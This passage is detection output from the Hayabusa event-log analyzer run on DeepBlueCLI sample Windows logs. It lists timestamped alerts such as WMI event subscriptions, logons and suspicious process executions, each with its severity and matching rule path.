0x24936,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:43:44.838 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:44:02.385 +09:00,IE8Win7,21,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:45:27.593 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:45:27.593 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:45:58.015 +09:00,IE8Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:46:01.000 +09:00,IE8Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 04:46:10.368 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:46:10.368 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:46:10.368 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:47:07.743 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IE8WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:47:07.743 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x19489 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:47:07.743 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x194bb : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:47:07.743 +09:00,IE8Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x19489,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:48:32.133 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:48:32.133 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:49:30.000 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 04:49:30.000 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 04:54:00.258 +09:00,IE8Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x194bb,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:54:45.140 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:54:45.140 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:54:58.140 +09:00,IE8Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:55:02.000 +09:00,IE8Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 04:55:06.370 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:55:06.370 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:55:06.370 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:55:29.463 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IE8WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:55:29.463 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x19153 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:55:29.463 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x1917f : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:55:29.463 +09:00,IE8Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x19153,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:57:31.000 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 04:57:31.000 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 04:59:43.385 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:17:38.760 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:21:25.557 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:27:57.838 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:38:14.682 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:49:57.323 +09:00,IE8Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x1917f,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 05:53:53.609 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:53:53.609 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:54:11.078 +09:00,IE8Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 05:54:23.000 +09:00,IE8Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 05:54:29.619 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:54:29.619 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:54:29.619 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 05:55:00.775 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IE8WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 05:55:00.775 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x2b15e : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 05:55:00.775 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x2b18a : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 05:55:00.775 +09:00,IE8Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x2b15e,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 05:56:26.259 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.259 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.259 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.259 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.259 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.259 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.259 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.259 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.259 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.259 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.259 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.259 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.259 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.259 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.259 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.259 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.259 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.259 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.259 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.259 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.259 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.259 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.259 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.259 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.259 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.259 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.259 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.259 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.259 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.259 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.259 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.259 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.259 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.259 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.259 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.275 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.275 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.275 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.275 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.275 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.275 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.275 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.275 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.275 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.275 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.275 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.275 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.275 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.275 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.275 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.275 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.275 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.275 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.275 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:26.275 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:28.619 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:36.634 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:36.634 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:36.649 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 05:56:52.000 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 05:56:52.000 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 06:05:37.180 +09:00,IE8Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x2b18a,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:07:06.390 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 06:07:06.390 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 06:07:31.859 +09:00,IE8Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:07:35.000 +09:00,IE8Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 06:07:44.487 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 06:07:44.487 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 06:07:44.487 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:09:53.000 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 06:09:53.000 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 06:10:53.299 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 06:13:38.283 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IE8WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:13:38.283 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x25519 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:13:38.283 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x2553c : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:13:38.283 +09:00,IE8Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x25519,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:35:27.013 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 06:35:27.013 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 06:35:27.028 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:50:27.138 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IEUser : Target User: rdavis : IP Address: - : Process: : Target Server: 